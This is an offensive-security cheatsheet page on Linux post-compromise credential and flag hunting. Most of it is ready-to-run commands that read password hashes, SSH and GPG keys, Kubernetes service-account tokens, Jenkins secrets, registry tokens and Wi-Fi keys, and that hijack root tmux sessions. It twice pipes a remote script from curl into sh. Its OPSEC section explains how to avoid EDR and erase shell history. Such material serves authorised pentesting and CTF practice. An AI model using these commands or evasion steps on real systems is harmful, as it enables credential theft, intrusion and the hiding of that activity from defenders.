daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

linux-credential-flag-hunting.md (17318B)


      1 ---
      2 title: "Linux Credential & Flag Hunting"
      3 description: "Find flags, passwords, keys and secrets on Linux: find/grep recipes, history files, config secrets, SSH keys and automated tools."
      4 category: password-attacks
      5 subcategory: "Credential & Flag Hunting"
      6 tags: [linux, credentials, flags, post-exploitation, enumeration, gpg, kubernetes, jenkins, snmp, tmux]
      7 tools: [find, grep, LinPEAS, LaZagne, pspy, unix-privesc-check, gpg, kubectl, nmcli]
      8 difficulty: intermediate
      9 updated: "2026-09-25"
     10 source: "repo:Password-Attacks/linux-credential-flag-hunting.md"
     11 ---
     12 
     13 # Linux Credential & Flag Hunting
     14 
     15 Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation.
     16 
     17 > **Golden rule —** append `2>/dev/null` to every recursive `find`/`grep` from `/` so permission-denied noise does not bury real hits.
     18 
     19 ---
     20 
     21 ## Phase 1 — Flag Hunting
     22 
     23 ```bash
     24 # The usual CTF / exam proof files, anywhere on disk
     25 find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null
     26 
     27 # Common fixed locations
     28 cat /home/*/user.txt 2>/dev/null
     29 cat /root/root.txt 2>/dev/null
     30 
     31 # Anything that looks like a hash-style flag inside files (HTB/THM style)
     32 grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null
     33 
     34 # Flag left in an unusual name/extension
     35 find / -type f -iname '*flag*' 2>/dev/null
     36 ```
     37 
     38 ---
     39 
     40 ## Phase 2 — The `find` Cheat Card
     41 
     42 ```bash
     43 # By name (case-insensitive), suppress errors
     44 find / -iname 'id_rsa' 2>/dev/null
     45 
     46 # By multiple extensions
     47 find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null
     48 
     49 # Files modified in the last day (fresh loot after a deploy)
     50 find / -type f -mmin -60 2>/dev/null            # last 60 minutes
     51 find / -type f -newermt '2026-09-01' 2>/dev/null # since a date
     52 
     53 # World-writable files and dirs (tampering / privesc)
     54 find / -type f -perm -o+w 2>/dev/null
     55 find / -writable -type d 2>/dev/null
     56 
     57 # SUID / SGID binaries (privesc paths — cross-check GTFOBins)
     58 find / -perm -4000 -type f 2>/dev/null           # SUID
     59 find / -perm -2000 -type f 2>/dev/null           # SGID
     60 
     61 # Files owned by a specific user
     62 find / -user root -type f -perm -o+r 2>/dev/null
     63 
     64 # Files with capabilities (modern privesc vector)
     65 getcap -r / 2>/dev/null
     66 ```
     67 
     68 ---
     69 
     70 ## Phase 3 — Grep for Secrets
     71 
     72 ```bash
     73 # Recursive, case-insensitive, show filename + line
     74 grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null
     75 
     76 # Assignment patterns only (cuts false positives)
     77 grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null
     78 
     79 # Search only useful file types across a web root
     80 grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null
     81 
     82 # ripgrep is far faster if present
     83 rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null
     84 ```
     85 
     86 ---
     87 
     88 ## Phase 4 — High-Value File Locations
     89 
     90 ### Credential & config files
     91 ```bash
     92 # Shell / app history — often holds passwords typed on the CLI
     93 cat ~/.bash_history ~/.zsh_history 2>/dev/null
     94 cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null
     95 find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null
     96 
     97 # Credentials cached by common tools
     98 cat ~/.netrc ~/.git-credentials 2>/dev/null      # plaintext creds
     99 cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null
    100 cat ~/.docker/config.json 2>/dev/null             # base64 registry auth
    101 find / -name '*.kdbx' 2>/dev/null                 # KeePass databases
    102 
    103 # Web app secrets
    104 find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \
    105   -o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null
    106 
    107 # Backups frequently contain old-but-valid secrets
    108 find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null
    109 ```
    110 
    111 ### SSH keys
    112 ```bash
    113 # Private keys, authorized_keys, known_hosts (lateral movement)
    114 find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null
    115 find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
    116 # Recognise a private key by content, not just name
    117 grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null
    118 ```
    119 
    120 ### System credential stores
    121 ```bash
    122 cat /etc/passwd                                   # users / shells / home dirs
    123 cat /etc/shadow 2>/dev/null                       # password hashes (root only)
    124 # Unshadow for cracking:  unshadow passwd shadow > hashes.txt  then hashcat -m 1800
    125 cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null     # sudo rules → privesc
    126 cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null  # scheduled jobs
    127 ```
    128 
    129 ### GPG keyrings & gpg-agent
    130 ```bash
    131 # Keyring + private key material
    132 ls -la ~/.gnupg/ 2>/dev/null                 # pubring.kbx, trustdb.gpg, private-keys-v1.d/
    133 find / \( -name 'secring.gpg' -o -name 'pubring.kbx' -o -name '*.gpg' -o -name '*.asc' \) 2>/dev/null
    134 
    135 # What secret keys exist locally
    136 gpg --list-secret-keys
    137 
    138 # gpg-agent may still hold the passphrase — try decrypting loot directly
    139 gpg --decrypt /path/to/secret.gpg 2>/dev/null
    140 # ...or export the private key if the agent/passphrase lets you, then crack it offline
    141 gpg --export-secret-keys -a > /tmp/secret.asc 2>/dev/null
    142 gpg2john /tmp/secret.asc > gpg.hash && john gpg.hash
    143 ```
    144 
    145 > **Tip —** a `~/.password-store/` (pass) tree plus a cached gpg-agent passphrase turns every `*.gpg` under it into cleartext with `pass show <name>`.
    146 
    147 ### Cloud, cluster & CI/CD secrets
    148 
    149 **Kubernetes**
    150 ```bash
    151 cat ~/.kube/config "$KUBECONFIG" /etc/kubernetes/admin.conf 2>/dev/null
    152 find / \( -name 'admin.conf' -o -name 'kubeconfig' -o -path '*/.kube/config' \) 2>/dev/null
    153 
    154 # In-pod service-account token (authenticates to the API as that SA)
    155 cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null   # also under /run/secrets/...
    156 kubectl --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT \
    157   --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
    158   --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
    159   get secrets -A -o yaml
    160 ```
    161 
    162 **Jenkins** (`$JENKINS_HOME`, usually `/var/lib/jenkins`)
    163 ```bash
    164 cat /var/lib/jenkins/credentials.xml 2>/dev/null
    165 cat /var/lib/jenkins/secrets/master.key /var/lib/jenkins/secrets/hudson.util.Secret 2>/dev/null
    166 find / \( -name 'credentials.xml' -o -name 'master.key' -o -name 'hudson.util.Secret' \) 2>/dev/null
    167 grep -rlE '<password>|apiToken|credentialId' /var/lib/jenkins/jobs /var/lib/jenkins/users 2>/dev/null
    168 ```
    169 > **Note —** decrypt the `{AQAAAB...}` blobs from `credentials.xml` via the Jenkins Script Console: `println(hudson.util.Secret.decrypt("{AQAAAB...}"))`. Offline you need `secrets/master.key` + `secrets/hudson.util.Secret` + the blob (a `jenkins-credential-decryptor` does this).
    170 
    171 **Registry / VCS tokens**
    172 ```bash
    173 cat ~/.npmrc 2>/dev/null            # //registry/:_authToken=  or  _auth= (base64 user:pass)
    174 cat ~/.pypirc 2>/dev/null            # [pypi] username / password
    175 cat ~/.config/gh/hosts.yml 2>/dev/null   # GitHub CLI oauth_token
    176 grep -rniE 'ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]+|glpat-[A-Za-z0-9_-]{20}' \
    177   /home /root /opt /var/www /etc 2>/dev/null
    178 env | grep -iE 'GITHUB_TOKEN|GITLAB_TOKEN|NPM_TOKEN|CI_JOB_TOKEN|PYPI'
    179 ```
    180 
    181 ### Infrastructure-as-code & config management
    182 
    183 **Ansible Vault**
    184 ```bash
    185 grep -rl 'ANSIBLE_VAULT' / 2>/dev/null              # encrypted files start $ANSIBLE_VAULT;1.1;AES256
    186 find / \( -name '.vault_pass*' -o -name 'vault_pass*' \) 2>/dev/null
    187 grep -rniE 'vault_password_file|vault_pass' /etc/ansible ~/.ansible.cfg ./ansible.cfg 2>/dev/null
    188 ansible-vault view secrets.yml --vault-password-file .vault_pass   # if the pass file is on disk
    189 ansible2john group_vars/all.yml > vault.hash && john vault.hash    # otherwise crack it
    190 ```
    191 
    192 **Terraform state** (secrets stored in PLAINTEXT)
    193 ```bash
    194 find / \( -name 'terraform.tfstate' -o -name '*.tfstate' -o -name '*.tfstate.backup' \) 2>/dev/null
    195 grep -EiA2 '"(password|secret|access_key|secret_key|token|private_key)"' terraform.tfstate 2>/dev/null
    196 find / \( -name '*.tfvars' -o -name '.terraformrc' -o -name 'credentials.tfrc.json' \) 2>/dev/null
    197 ```
    198 
    199 ### Network & service credentials
    200 ```bash
    201 # NetworkManager saved Wi-Fi / 802.1x (root-only, 0600)
    202 grep -rE 'psk=|password=' /etc/NetworkManager/system-connections/ 2>/dev/null
    203 nmcli -s -g 802-11-wireless-security.psk connection show <name> 2>/dev/null
    204 cat /etc/wpa_supplicant/*.conf 2>/dev/null           # psk= for wpa_supplicant setups
    205 
    206 # SNMP community strings (an RW string often = full device control)
    207 grep -rEi 'community|rocommunity|rwcommunity|com2sec' /etc/snmp/*.conf 2>/dev/null
    208 ```
    209 
    210 ### Mail spools, PHP sessions & backups
    211 ```bash
    212 # Local mail — password-reset mails, cron output, app notifications
    213 ls -la /var/mail /var/spool/mail 2>/dev/null
    214 cat /var/mail/* /var/spool/mail/* 2>/dev/null
    215 
    216 # PHP session files can hold auth state / plaintext values
    217 ls -la /var/lib/php/sessions/ /var/lib/php*/sessions/ 2>/dev/null; ls -la /tmp/sess_* 2>/dev/null
    218 grep -rliE 'pass|user|token|admin' /var/lib/php/sessions/ /tmp 2>/dev/null
    219 
    220 # Debian backs up the account DB here — shadow.bak is a classic privesc win
    221 ls -la /var/backups/ 2>/dev/null
    222 cat /var/backups/shadow.bak /var/backups/passwd.bak 2>/dev/null
    223 ```
    224 
    225 > **Tip —** if `/var/backups/shadow.bak` is group/other-readable, `unshadow /etc/passwd shadow.bak > hashes.txt` then crack with hashcat `-m 1800` — no root needed to read the copy.
    226 
    227 ---
    228 
    229 ## Phase 5 — Runtime & Memory
    230 
    231 ```bash
    232 # Environment variables of every process (secrets passed via env)
    233 for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u
    234 
    235 # Your own shell environment
    236 env | grep -iE 'pass|token|key|secret'
    237 
    238 # Mounted shares / fstab creds (cifs credentials= files)
    239 cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null
    240 
    241 # Command lines of running processes (passwords passed as args)
    242 ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null
    243 ```
    244 
    245 ### Attach to a live tmux / screen session
    246 ```bash
    247 # A detached session left by a privileged user = instant shell as them
    248 screen -ls                                   # your own sessions
    249 ls -la /run/screen/ /var/run/screen/ /tmp/screens/ 2>/dev/null   # other users' sockets: S-<user>
    250 screen -x                                     # attach to a multiuser/attached screen
    251 screen -r <pid.tty.host>                      # reattach a named session
    252 
    253 # tmux sockets live under /tmp/tmux-<uid>/
    254 ls -la /tmp/tmux-*/ 2>/dev/null
    255 tmux -S /tmp/tmux-0/default ls                # list uid-0 (root) sessions if the socket is readable
    256 tmux -S /tmp/tmux-0/default attach            # attach -> shell as that user
    257 ```
    258 
    259 > **Warning —** you can only attach to a socket you can read/write: you already run as that user, the perms are loose, or you share its group. This cashes in a session someone left exposed; it does not by itself cross a privilege boundary.
    260 
    261 ### Logs & journal (creds passed as args)
    262 ```bash
    263 # systemd journal — services and cron sometimes log full command lines
    264 journalctl 2>/dev/null | grep -iE 'password|passwd|token|secret|key='
    265 journalctl _COMM=sudo 2>/dev/null            # sudo usage; mistyped passwords can land in auth.log
    266 
    267 # Classic text logs
    268 grep -rniE 'password|passwd=|token|secret' /var/log/ 2>/dev/null
    269 ```
    270 
    271 > **Tip —** to catch a cron job or script that passes a password as an argument *as it runs*, watch live with `pspy` (Phase 6) — the cred flashes in the process args even if it never touches disk.
    272 
    273 ---
    274 
    275 ## Phase 6 — Automated Tools
    276 
    277 | Tool | Command | Notes |
    278 |---|---|---|
    279 | **LinPEAS** | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | All-in-one privesc + secret sweep |
    280 | **LinEnum** | `./LinEnum.sh -t -k password` | Keyword search mode |
    281 | **LaZagne** | `./laZagne.py all` | Dumps browser/mail/wifi/db creds |
    282 | **pspy** | `./pspy64` | Watch cron/processes for creds passed as args |
    283 | **deepce** | `./deepce.sh` | Docker/container escape enum |
    284 | **unix-privesc-check** | `./unix-privesc-check standard` | pentestmonkey script; flags weak perms on cred/config files |
    285 
    286 ```bash
    287 # Run linpeas without touching disk
    288 curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out
    289 ```
    290 
    291 ---
    292 
    293 ## Quick Wins Checklist
    294 
    295 - [ ] `sudo -l` — what can you run as root?
    296 - [ ] `~/.bash_history` and other `*_history` files
    297 - [ ] `id_rsa` / `.pem` keys → SSH to other hosts
    298 - [ ] `.env`, `wp-config.php`, `config.php` in web roots
    299 - [ ] `/etc/shadow` readable? → crack with hashcat `-m 1800`
    300 - [ ] SUID binaries → check GTFOBins
    301 - [ ] Cron jobs running writable scripts
    302 - [ ] Reused passwords across users (`su` / DB / service)
    303 - [ ] `~/.kube/config` / `/var/run/secrets/.../token` → cluster access
    304 - [ ] tmux/screen socket left by root (`/tmp/tmux-*`, `/run/screen/`) → attach
    305 - [ ] `/var/backups/shadow.bak` readable? → `unshadow` + hashcat `-m 1800`
    306 - [ ] Jenkins `credentials.xml` + `secrets/master.key` + `hudson.util.Secret`
    307 - [ ] `terraform.tfstate` plaintext / Ansible Vault + `.vault_pass`
    308 - [ ] `~/.npmrc` `_authToken`, `ghp_`/`glpat-` PATs, `~/.config/gh/hosts.yml`
    309 - [ ] NetworkManager `psk=` / SNMP `rwcommunity`
    310 
    311 ---
    312 
    313 ## Troubleshooting
    314 
    315 | Problem | Cause & fix |
    316 |---------|-------------|
    317 | `find /` floods the terminal with `Permission denied` | An unprivileged walk hits `/proc`, `/sys` and `/run`. Append `2>/dev/null`, and add `-xdev` to stay on one filesystem |
    318 | `find /` hangs for minutes | It is walking NFS/CIFS mounts. `-xdev` stops it at the mount boundary, or prune explicitly: `find / -path /mnt -prune -o -name '*.kdbx' -print` |
    319 | `grep -r` prints `Binary file ... matches` and nothing useful | `-a` treats binaries as text (good for core dumps and memory images); `-I` skips them entirely when you only want config files |
    320 | `grep -r password /` returns thousands of lines | Anchor on assignment syntax instead of the bare word: `grep -rEn "(password\|passwd\|secret\|api_key)\s*[=:]\s*\S" --include=*.{conf,cfg,ini,env,yml,yaml,php,json} / 2>/dev/null` |
    321 | `locate` finds nothing that clearly exists | `mlocate.db` is stale and `updatedb` needs root. Fall back to `find` |
    322 | `/proc/<pid>/environ` is unreadable for other users | Either `hidepid=2` is set on `/proc`, or the process is not yours. Both resolve after privesc — re-run the sweep as root |
    323 | `/etc/shadow` is unreadable | Expected as a normal user. Go for copies instead: `/var/backups/shadow.bak`, `/etc/shadow-`, container images, and old tarballs under `/opt` |
    324 | Shell history files are empty | `HISTFILE` is unset, or the session that would flush it is still open. Check every user's `~/.bash_history`, `~/.zsh_history`, `~/.python_history` and `~/.mysql_history` |
    325 | A recovered SSH key is rejected | `chmod 600` the copy — OpenSSH refuses world-readable keys. If it prompts for a passphrase, run `ssh2john id_rsa > hash` and crack it |
    326 | `sudo -l` asks for a password you do not have | Not a dead end: `sudo -l` output is only one source. Check `/etc/sudoers.d/`, group membership (`id`), and SUID binaries directly |
    327 
    328 ## Detection & OPSEC
    329 
    330 Credential hunting is loud in ways that are easy to avoid.
    331 
    332 - **A full `find /` walk touches every inode** and lights up auditd `path` rules plus any EDR with filesystem telemetry. Scope to the directories that actually pay: `/home`, `/var/www`, `/opt`, `/etc`, `/srv`.
    333 - **`atime` updates are a forensic trail.** Most modern mounts use `relatime`, so reads still move `atime` once a day. `find` with `-noleaf` does not help; if timestamps matter, prefer targeted reads over recursive greps.
    334 - **Downloading LinPEAS to disk writes an artifact** and is signatured by most AV on Linux endpoints. Pipe it into memory instead: `curl -s <url> | sh`, and accept that you lose the ability to re-run it offline.
    335 - **Reading `/proc/*/environ` and `/proc/*/cmdline` at scale** is a recognised credential-access pattern (MITRE **T1552.001**, *Credentials In Files*). Sysdig and Falco ship rules for it out of the box.
    336 - **Your own commands land in history.** `unset HISTFILE` or `export HISTFILE=/dev/null` before the sweep, and remember the shell writes on exit — `kill -9 $$` skips the flush.
    337 - **Leave found credentials where they are.** Copying a keystore to `/tmp` is a far stronger signal than reading it in place, and `/tmp` is where defenders look first.
    338 
    339 ## Related
    340 
    341 * **[Windows Credential & Flag Hunting](/sheets/password-attacks/windows-credential-flag-hunting)** — same job on Windows / Evil-WinRM
    342 * **[Hashcat](/sheets/password-attacks/hashcat)** — crack the hashes you recover (`-m 1800` sha512crypt, `-m 500` md5crypt)
    343 * **[John the Ripper](/sheets/password-attacks/john-the-ripper)** — `unshadow` + crack `/etc/shadow`
    344 * [Linux Privilege Escalation](/sheets/privilege-escalation/linux-privesc) — SUID, cron, capabilities and GTFOBins follow-ups on what you find here
    345 * [Lateral Movement, Pivoting & Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) — pivot outward with recovered keys/creds
    346 * [Credential Hunting](/sheets/enumeration/credential-hunting) — pre-auth / external credential discovery